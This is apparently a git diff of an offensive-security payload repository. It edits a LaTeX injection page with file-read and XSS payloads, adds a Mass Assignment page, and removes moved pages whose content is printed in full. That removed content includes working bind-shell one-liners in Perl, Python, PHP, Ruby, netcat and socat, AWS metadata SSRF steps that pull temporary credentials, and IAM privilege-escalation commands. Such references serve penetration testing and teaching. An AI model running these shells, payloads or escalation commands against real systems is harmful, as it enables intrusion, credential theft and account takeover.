* ^^7e represents a tilde (~) note that the e must be lower case
```tex
\lstin^^70utlisting{/etc/passwd}
```
### Write File
Write single lined file: Write single lined file:
@@ -63,7 +89,7 @@ Write single lined file:
\closeout\outfile \closeout\outfile
``` ```
## Command execution ## Command Execution
The output of the command will be redirected to stdout, therefore you need to use a temp file to get it. The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
@@ -93,10 +119,19 @@ From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
\href{javascript:alert(1)}{placeholder} \href{javascript:alert(1)}{placeholder}
``` ```
Live example at `http://payontriage.com/xss.php?xss=$\href{javascript:alert(1)}{Frogs%20find%20bugs}$` In [mathjax](https://docs.mathjax.org/en/latest/input/tex/extensions/unicode.html)
```tex
\unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">}
```
## Labs
* [Root Me - LaTeX - Input](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Input)
* [Root Me - LaTeX - Command Execution](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Command-execution)
## References ## References
* [Hacking with LaTeX - Sebastian Neef - 0day.work](https://0day.work/hacking-with-latex/) * [Hacking with LaTeX - Sebastian Neef - March 10, 2016](https://0day.work/hacking-with-latex/)
* [Latex to RCE, Private Bug Bounty Program - Yasho](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a) * [Latex to RCE, Private Bug Bounty Program - Yasho - July 6, 2018](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
* [Pwning coworkers thanks to LaTeX](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) * [Pwning coworkers thanks to LaTeX - scumjr - November 28, 2016](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)

40
Mass Assignment/README.md Normal file
View File

@@ -0,0 +1,40 @@
# Mass Assignment
> A mass assignment attack is a security vulnerability that occurs when a web application automatically assigns user-supplied input values to properties or variables of a program object. This can become an issue if a user is able to modify attributes they should not have access to, like a user's permissions or an admin flag.
## Summary
* [Methodology](#methodology)
* [Labs](#labs)
* [References](#references)
## Methodology
Mass assignment vulnerabilities are most common in web applications that use Object-Relational Mapping (ORM) techniques or functions to map user input to object properties, where properties can be updated all at once instead of individually. Many popular web development frameworks such as Ruby on Rails, Django, and Laravel (PHP) offer this functionality.
For instance, consider a web application that uses an ORM and has a user object with the attributes `username`, `email`, `password`, and `isAdmin`. In a normal scenario, a user might be able to update their own username, email, and password through a form, which the server then assigns to the user object.
However, an attacker may attempt to add an `isAdmin` parameter to the incoming data like so:
```json
{
"username": "attacker",
"email": "attacker@email.com",
"password": "unsafe_password",
"isAdmin": true
}
```
If the web application is not checking which parameters are allowed to be updated in this way, it might set the `isAdmin` attribute based on the user-supplied input, giving the attacker admin privileges
## Labs
* [PentesterAcademy - Mass Assignment I](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1964)
* [PentesterAcademy - Mass Assignment II](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1922)
* [Root Me - API - Mass Assignment](https://www.root-me.org/en/Challenges/Web-Server/API-Mass-Assignment)
## References
* [Hunting for Mass Assignment - Shivam Bathla - August 12, 2021](https://blog.pentesteracademy.com/hunting-for-mass-assignment-56ed73095eda)
* [Mass Assignment Cheat Sheet - OWASP - March 15, 2021](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)
* [What is Mass Assignment? Attacks and Security Tips - Yoan MONTOYA - June 15, 2023](https://www.vaadata.com/blog/what-is-mass-assignment-attacks-and-security-tips/)

File diff suppressed because it is too large Load Diff

View File

@@ -1,95 +1,13 @@
# Bind Shell # Bind Shell
## Summary :warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/shell-bind](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/)
* [Bind Shell](#bind-shell) - [Perl](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#perl)
* [Perl](#perl) - [Python](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#python)
* [Python](#python) - [PHP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#php)
* [PHP](#php) - [Ruby](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#ruby)
* [Ruby](#ruby) - [Netcat Traditional](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#netcat-traditional)
* [Netcat Traditional](#netcat-traditional) - [Netcat OpenBsd](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#netcat-openbsd)
* [Netcat OpenBsd](#netcat-openbsd) - [Ncat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#ncat)
* [Ncat](#ncat) - [Socat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#socat)
* [Socat](#socat) - [Powershell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#powershell)
* [Powershell](#powershell)
## Perl
```perl
perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));\
bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\
close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'
```
## Python
Single line :
```python
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",51337));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
```
Expanded version :
```python
import socket as s,subprocess as sp;
s1 = s.socket(s.AF_INET, s.SOCK_STREAM);
s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1);
s1.bind(("0.0.0.0", 51337));
s1.listen(1);
c, a = s1.accept();
while True:
d = c.recv(1024).decode();
p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE);
c.sendall(p.stdout.read()+p.stderr.read())
```
## PHP
```php
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",51337);\
socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;\
$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);\
socket_write($cl,$m,strlen($m));}}'
```
## Ruby
```ruby
ruby -rsocket -e 'f=TCPServer.new(51337);s=f.accept;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)'
```
## Netcat Traditional
```powershell
nc -nlvp 51337 -e /bin/bash
```
## Netcat OpenBsd
```powershell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f
```
## Socat
```powershell
user@attacker$ socat FILE:`tty`,raw,echo=0 TCP:target.com:12345
user@victim$ socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
```
## Powershell
```powershell
https://github.com/besimorhino/powercat
# Victim (listen)
. .\powercat.ps1
powercat -l -p 7002 -ep
# Connect from attacker
. .\powercat.ps1
powercat -c 127.0.0.1 -p 7002
```

View File

@@ -1,709 +1,17 @@
# AWS # Cloud - AWS
> Amazon Web Services offers reliable, scalable, and inexpensive cloud computing services. :warning: Content of this page has been moved to [InternalAllTheThings/cloud/aws](https://github.com/swisskyrepo/InternalAllTheThings/)
## Summary - [Cloud - AWS](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/AWS%20Pentest/)
- [AWS - Access Token & Secrets](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-access-token/)
- [AWS](#aws) - [AWS - Service - Cognito](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-cognito/)
- [Summary](#summary) - [AWS - Service - DynamoDB](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-dynamodb/)
- [Training](#training) - [AWS - Service - EC2](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ec2/)
- [Tools](#tools) - [AWS - Enumerate](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-enumeration/)
- [AWS Patterns](#aws-patterns) - [AWS - Identity & Access Management](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-iam/)
- [AWS - Metadata SSRF](#aws---metadata-ssrf) - [AWS - IOC & Detections](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ioc-detection/)
- [Method for Elastic Cloud Compute (EC2)](#method-for-elastic-cloud-compute-ec2) - [AWS - Service - Lambda](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-lambda/)
- [Method for Container Service (Fargate)](#method-for-container-service-fargate) - [AWS - Metadata SSRF](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-metadata/)
- [AWS API calls that return credentials](#aws-api-calls-that-return-credentials) - [AWS - Service - S3 Buckets](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-s3-bucket/)
- [AWS - Shadow Admin](#aws---shadow-admin) - [AWS - Service - SSM](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ssm/)
- [Admin equivalent permission](#admin-equivalent-permission) - [AWS - Training](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-training/)
- [AWS - Gaining AWS Console Access via API Keys](#aws---gaining-aws-console-access-via-api-keys)
- [AWS - Enumerate IAM permissions](#aws---enumerate-iam-permissions)
- [AWS - Mount EBS volume to EC2 Linux](#aws---mount-ebs-volume-to-ec2-linux)
- [AWS - Copy EC2 using AMI Image](#aws---copy-ec2-using-ami-image)
- [AWS - Instance Connect - Push an SSH key to EC2 instance](#aws---instance-connect---push-an-ssh-key-to-ec2-instance)
- [AWS - Lambda - Extract function's code](#aws---lambda---extract-functions-code)
- [AWS - SSM - Command execution](#aws---ssm---command-execution)
- [AWS - Golden SAML Attack](#aws---golden-saml-attack)
- [AWS - Shadow Copy attack](#aws---shadow-copy-attack)
- [Disable CloudTrail](#disable-cloudtrail)
- [Cover tracks by obfuscating Cloudtrail logs and Guard Duty](#cover-tracks-by-obfuscating-cloudtrail-logs-and-guard-duty)
- [DynamoDB](#dynamodb)
- [Security checks](#security-checks)
- [References](#references)
## Training
* Damn Vulnerable Cloud Application - https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6
* SadCloud - https://github.com/nccgroup/sadcloud
* Flaws - http://flaws.cloud
* Cloudgoat - https://github.com/RhinoSecurityLabs/cloudgoat
## Tools
* [SkyArk](https://github.com/cyberark/SkyArk) - Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins
* Requires read-Only permissions over IAM service
```powershell
$ git clone https://github.com/cyberark/SkyArk
$ powershell -ExecutionPolicy Bypass -NoProfile
PS C> Import-Module .\SkyArk.ps1 -force
PS C> Start-AWStealth
or in the Cloud Console
PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AWStealth/AWStealth.ps1')
PS C> Scan-AWShadowAdmins
```
* [Pacu](https://github.com/RhinoSecurityLabs/pacu) - Exploit configuration flaws within an AWS environment using an extensible collection of modules with a diverse feature-set
* Requires AWS Keys
```powershell
$ git clone https://github.com/RhinoSecurityLabs/pacu
$ bash install.sh
$ python3 pacu.py
set_keys/swap_keys
ls
run <module_name> [--keyword-arguments]
run <module_name> --regions eu-west-1,us-west-1
# https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details
```
* [Bucket Finder](https://digi.ninja/projects/bucket_finder.php) - Search for public buckets, list and download all files if directory indexing is enabled
```powershell
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
./bucket_finder.rb my_words
./bucket_finder.rb --region ie my_words
US Standard = http://s3.amazonaws.com
Ireland = http://s3-eu-west-1.amazonaws.com
Northern California = http://s3-us-west-1.amazonaws.com
Singapore = http://s3-ap-southeast-1.amazonaws.com
Tokyo = http://s3-ap-northeast-1.amazonaws.com
./bucket_finder.rb --download --region ie my_words
./bucket_finder.rb --log-file bucket.out my_words
```
* [Boto3](https://boto3.amazonaws.com/v1/documentation/api/latest/index.html) - Amazon Web Services (AWS) SDK for Python
```python
import boto3
# Create an S3 client
s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP3RKREDACTED',aws_secret_access_key='igH8yFmmpMbnkcUaCqXJIRIozKVaREDACTED',region_name='us-west-1')
try:
result = s3.list_buckets()
print(result)
except Exception as e:
print(e)
```
* [Prowler](https://github.com/toniblyx/prowler) - AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness
> It follows guidelines of the CIS Amazon Web Services Foundations Benchmark and DOZENS of additional checks including GDPR and HIPAA (+100).
* Require: arn:aws:iam::aws:policy/SecurityAudit
```powershell
$ pip install awscli ansi2html detect-secrets
$ git clone https://github.com/toniblyx/prowler
$ sudo apt install jq
$ ./prowler -E check42,check43
$ ./prowler -p custom-profile -r us-east-1 -c check11
$ ./prowler -A 123456789012 -R ProwlerRole # sts assume-role
```
* [Principal Mapper](https://github.com/nccgroup/PMapper) - A tool for quickly evaluating IAM permissions in AWS
```powershell
https://github.com/nccgroup/PMapper
pip install principalmapper
pmapper graph --create
pmapper visualize --filetype png
pmapper analysis --output-type text
# Determine if PowerUser can escalate privileges
pmapper query "preset privesc user/PowerUser"
pmapper argquery --principal user/PowerUser --preset privesc
# Find all principals that can escalate privileges
pmapper query "preset privesc *"
pmapper argquery --principal '*' --preset privesc
# Find all principals that PowerUser can access
pmapper query "preset connected user/PowerUser *"
pmapper argquery --principal user/PowerUser --resource '*' --preset connected
# Find all principals that can access PowerUser
pmapper query "preset connected * user/PowerUser"
pmapper argquery --principal '*' --resource user/PowerUser --preset connected
```
* [ScoutSuite](https://github.com/nccgroup/ScoutSuite/wiki) - Multi-Cloud Security Auditing Tool
```powershell
$ git clone https://github.com/nccgroup/ScoutSuite
$ python scout.py PROVIDER --help
# The --session-token is optional and only used for temporary credentials (i.e. role assumption).
$ python scout.py aws --access-keys --access-key-id <AKIAIOSFODNN7EXAMPLE> --secret-access-key <wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY> --session-token <token>
$ python scout.py azure --cli
```
* [s3_objects_check](https://github.com/nccgroup/s3_objects_check) - Whitebox evaluation of effective S3 object permissions, to identify publicly accessible files
```powershell
$ git clone https://github.com/nccgroup/s3_objects_check
$ python3 -m venv env && source env/bin/activate
$ pip install -r requirements.txt
$ python s3-objects-check.py -h
$ python s3-objects-check.py -p whitebox-profile -e blackbox-profile
```
* [cloudsplaining](https://github.com/salesforce/cloudsplaining) - An AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized report
```powershell
$ pip3 install --user cloudsplaining
$ cloudsplaining download --profile myawsprofile
$ cloudsplaining scan --input-file default.json
```
* [weirdAAL](https://github.com/carnal0wnage/weirdAAL/wiki) - AWS Attack Library
```powershell
python3 weirdAAL.py -m ec2_describe_instances -t demo
python3 weirdAAL.py -m lambda_get_account_settings -t demo
python3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2' -t yolo
```
* [cloudmapper](https://github.com/duo-labs/cloudmapper.git) - CloudMapper helps you analyze your Amazon Web Services (AWS) environments
```powershell
git clone https://github.com/duo-labs/cloudmapper.git
# sudo yum install autoconf automake libtool python3-devel.x86_64 python3-tkinter python-pip jq awscli
# You may additionally need "build-essential"
sudo apt-get install autoconf automake libtool python3.7-dev python3-tk jq awscli
pipenv install --skip-lock
pipenv shell
report: Generate HTML report. Includes summary of the accounts and audit findings.
iam_report: Generate HTML report for the IAM information of an account.
audit: Check for potential misconfigurations.
collect: Collect metadata about an account.
find_admins: Look at IAM policies to identify admin users and roles, or principals with specific privileges
```
* [dufflebag](https://labs.bishopfox.com/dufflebag) - Find secrets that are accidentally exposed via Amazon EBSs “public” mode
## AWS Patterns
| Service | URL |
|-------------|--------|
| s3 | https://{user_provided}.s3.amazonaws.com |
| cloudfront | https://{random_id}.cloudfront.net |
| ec2 | ec2-{ip-seperated}.compute-1.amazonaws.com |
| es | https://{user_provided}-{random_id}.{region}.es.amazonaws.com |
| elb | http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 |
| elbv2 | https://{user_provided}-{random_id}.{region}.elb.amazonaws.com |
| rds | mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 |
| rds | postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 |
| route 53 | {user_provided} |
| execute-api | https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} |
| cloudsearch | https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com |
| transfer | sftp://s-{random_id}.server.transfer.{region}.amazonaws.com |
| iot | mqtt://{random_id}.iot.{region}.amazonaws.com:8883 |
| iot | https://{random_id}.iot.{region}.amazonaws.com:8443 |
| iot | https://{random_id}.iot.{region}.amazonaws.com:443 |
| mq | https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162 |
| mq | ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 |
| kafka | b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com |
| kafka | {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com |
| cloud9 | https://{random_id}.vfs.cloud9.{region}.amazonaws.com |
| mediastore | https://{random_id}.data.mediastore.{region}.amazonaws.com |
| kinesisvideo | https://{random_id}.kinesisvideo.{region}.amazonaws.com |
| mediaconvert | https://{random_id}.mediaconvert.{region}.amazonaws.com |
| mediapackage | https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel |
## AWS - Metadata SSRF
> AWS released additional security defences against the attack.
:warning: Only working with IMDSv1.
Enabling IMDSv2 : `aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --profile <AWS_PROFILE> --http-endpoint enabled --http-token required`.
In order to usr IMDSv2 you must provide a token.
```powershell
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"
```
### Method for Elastic Cloud Compute (EC2)
Example : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/
1. Access the IAM : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/
```powershell
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
```
2. Find the name of the role assigned to the instance : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. Extract the role's temporary keys : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/
```powershell
{
"Code" : "Success",
"LastUpdated" : "2019-07-31T23:08:10Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA54BL6PJR37YOEP67",
"SecretAccessKey" : "OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2",
"Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv",
"Expiration" : "2019-08-01T05:20:30Z"
}
```
### Method for Container Service (Fargate)
1. Fetch the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI variable from https://awesomeapp.com/download?file=/proc/self/environ
```powershell
JAVA_ALPINE_VERSION=8.212.04-r0
HOSTNAME=bbb3c57a0ed3SHLVL=1PORT=8443HOME=/root
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
AWS_EXECUTION_ENV=AWS_ECS_FARGATEMVN_VER=3.3.9JAVA_VERSION=8u212AWS_DEFAULT_REGION=us-west-2
ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/cb4f6285-48f2-4a51-a787-67dbe61c13ffPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin:/usr/lib/mvn:/usr/lib/mvn/binLANG=C.UTF-8AWS_REGION=us-west-2Tag=48111bbJAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jreM2=/usr/lib/mvn/binPWD=/appM2_HOME=/usr/lib/mvnLD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjd
```
2. Use the credential URL to dump the AccessKey and SecretKey : https://awesomeapp.com/forward?target=http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
```powershell
{
"RoleArn": "arn:aws:iam::953574914659:role/awesome-waf-role",
"AccessKeyId": "ASIA54BL6PJR2L75XHVS",
"SecretAccessKey": "j72eTy+WHgIbO6zpe2DnfjEhbObuTBKcemfrIygt",
"Token": "FQoGZXIvYXdzEMj//////////wEaDEQW+wwBtaoyqH5lNSLGBF3PnwnLYa3ggfKBtLMoWCEyYklw6YX85koqNwKMYrP6ymcjv4X2gF5enPi9/Dx6m/1TTFIwMzZ3tf4V3rWP3HDt1ea6oygzTrWLvfdp57sKj+2ccXI+WWPDZh3eJr4Wt4JkiiXrWANn7Bx3BUj9ZM11RXrKRCvhrxdrMLoewRkWmErNEOFgbaCaT8WeOkzqli4f+Q36ZerT2V+FJ4SWDX1CBsimnDAMAdTIRSLFxVBBwW8171OHiBOYAMK2np1xAW1d3UCcZcGKKZTjBee2zs5+Rf5Nfkoq+j7GQkmD2PwCeAf0RFETB5EVePNtlBWpzfOOVBtsTUTFewFfx5cyNsitD3C2N93WR59LX/rNxyncHGDUP/6UPlasOcfzAaG738OJQmWfQTR0qksHIc2qiPtkstnNndh76is+r+Jc4q3wOWu2U2UBi44Hj+OS2UTpMAwc/MshIiGsUOrBQdPqcLLdAxKpUNTdSQNLg5wv4f2OrOI8/sneV58yBRolBz8DZoH8wohtLXpueDt8jsVSVLznnMOOe/4ehHE2Nt+Fy+tjaY5FUi/Ijdd5IrIdIvWFHY1XcPopUFYrDqr0yuZvX1YddfIcfdbmxf274v69FuuywXTo7cXk1QTMYZWlD/dPI/k6KQeO446UrHT9BJxcJMpchAIVRpI7nVKkSDwku1joKUG7DOeycuAbhecVZG825TocL0ks2yXPnIdvckAaU9DZf+afIV3Nxv3TI4sSX1npBhb2f/8C31pv8VHyu2NiN5V6OOHzZijHsYXsBQ==",
"Expiration": "2019-09-18T04:05:59Z"
}
```
### AWS API calls that return credentials
- chime:createapikey
- [codepipeline:pollforjobs](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html)
- [cognito-identity:getopenidtoken](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdToken.html)
- [cognito-identity:getopenidtokenfordeveloperidentity](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdTokenForDeveloperIdentity.html)
- [cognito-identity:getcredentialsforidentity](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html)
- [connect:getfederationtoken](https://docs.aws.amazon.com/connect/latest/APIReference/API_GetFederationToken.html)
- [connect:getfederationtokens](https://docs.aws.amazon.com/connect/latest/APIReference/API_GetFederationToken.html)
- [ecr:getauthorizationtoken](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_GetAuthorizationToken.html)
- [gamelift:requestuploadcredentials](https://docs.aws.amazon.com/gamelift/latest/apireference/API_RequestUploadCredentials.html)
- [iam:createaccesskey](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html)
- [iam:createloginprofile](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html)
- [iam:createservicespecificcredential](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateServiceSpecificCredential.html)
- [iam:resetservicespecificcredential](https://docs.aws.amazon.com/IAM/latest/APIReference/API_ResetServiceSpecificCredential.html)
- [iam:updateaccesskey](https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateAccessKey.html)
- [lightsail:getinstanceaccessdetails](https://docs.aws.amazon.com/lightsail/2016-11-28/api-reference/API_GetInstanceAccessDetails.html)
- [lightsail:getrelationaldatabasemasteruserpassword](https://docs.aws.amazon.com/lightsail/2016-11-28/api-reference/API_GetRelationalDatabaseMasterUserPassword.html)
- [rds-db:connect](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html)
- [redshift:getclustercredentials](https://docs.aws.amazon.com/redshift/latest/APIReference/API_GetClusterCredentials.html)
- [sso:getrolecredentials](https://docs.aws.amazon.com/singlesignon/latest/PortalAPIReference/API_GetRoleCredentials.html)
- [mediapackage:rotatechannelcredentials](https://docs.aws.amazon.com/mediapackage/latest/apireference/channels-id-credentials.html)
- [mediapackage:rotateingestendpointcredentials](https://docs.aws.amazon.com/mediapackage/latest/apireference/channels-id-ingest_endpoints-ingest_endpoint_id-credentials.html)
- [sts:assumerole](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role.html)
- [sts:assumerolewithsaml](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-saml.html)
- [sts:assumerolewithwebidentity](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-web-identity.html)
- [sts:getfederationtoken](https://docs.aws.amazon.com/cli/latest/reference/sts/get-federation-token.html)
- [sts:getsessiontoken](https://docs.aws.amazon.com/cli/latest/reference/sts/get-session-token.html)
## AWS - Shadow Admin
### Admin equivalent permission
- AdministratorAccess
```powershell
"Action": "*"
"Resource": "*"
```
- ec2:AssociateIamInstanceProfile
- **iam:CreateAccessKey**iam:CreateAccessKey : create a new access key to another IAM admin account
```powershell
aws iam create-access-key user-name target_user
```
- **iam:CreateLoginProfile** : add a new password-based login profile, set a new password for an entity and impersonate it
```powershell
$ aws iam create-login-profile user-name target_user password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' no-password-reset-required
```
- **iam:UpdateLoginProfile** : reset other IAM users login passwords.
```powershell
$ aws iam update-login-profile user-name target_user password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' no-password-reset-required
```
- **iam:AttachUserPolicy**, **iam:AttachGroupPolicy** or **iam:AttachRolePolicy** : attach existing admin policy to any other entity he currently possesses
```powershell
$ aws iam attach-user-policy user-name my_username policy-arn arn:aws:iam::aws:policy/AdministratorAccess
$ aws iam attach-user-policy user-name my_username policy-arn arn:aws:iam::aws:policy/AdministratorAccess
$ aws iam attach-role-policy role-name role_i_can_assume policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```
- **iam:PutUserPolicy**, **iam:PutGroupPolicy** or **iam:PutRolePolicy** : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.
```powershell
$ aws iam put-user-policy user-name my_username policy-name my_inline_policy policy-document file://path/to/administrator/policy.json
```
- **iam:CreatePolicy** : add a stealthy admin policy
- **iam:AddUserToGroup** : add into the admin group of the organization.
```powershell
$ aws iam add-user-to-group group-name target_group user-name my_username
```
- **iam:UpdateAssumeRolePolicy** + **sts:AssumeRole** : change the assuming permissions of a privileged role and then assume it with a non-privileged account.
```powershell
$ aws iam update-assume-role-policy role-name role_i_can_assume policy-document file://path/to/assume/role/policy.json
```
- **iam:CreatePolicyVersion** & **iam:SetDefaultPolicyVersion** : change customer-managed policies and change a non-privileged entity to be a privileged one.
```powershell
$ aws iam create-policy-version policy-arn target_policy_arn policy-document file://path/to/administrator/policy.json set-as-default
$ aws iam set-default-policy-version policy-arn target_policy_arn version-id v2
```
- **lambda:UpdateFunctionCode** : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.
```powershell
$ aws lambda update-function-code function-name target_function zip-file fileb://my/lambda/code/zipped.zip
```
- **glue:UpdateDevEndpoint** : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint.
```powershell
$ aws glue endpoint-name target_endpoint public-key file://path/to/my/public/ssh/key.pub
```
- **iam:PassRole** + **ec2:CreateInstanceProfile**/**ec2:AddRoleToInstanceProfile** : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.
- **iam:PassRole** + **ec2:RunInstance** : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.
```powershell
# add ssh key
$ aws ec2 run-instances image-id ami-a4dc46db instance-type t2.micro iam-instance-profile Name=iam-full-access-ip key-name my_ssh_key security-group-ids sg-123456
# execute a reverse shell
$ aws ec2 run-instances image-id ami-a4dc46db instance-type t2.micro iam-instance-profile Name=iam-full-access-ip user-data file://script/with/reverse/shell.sh
```
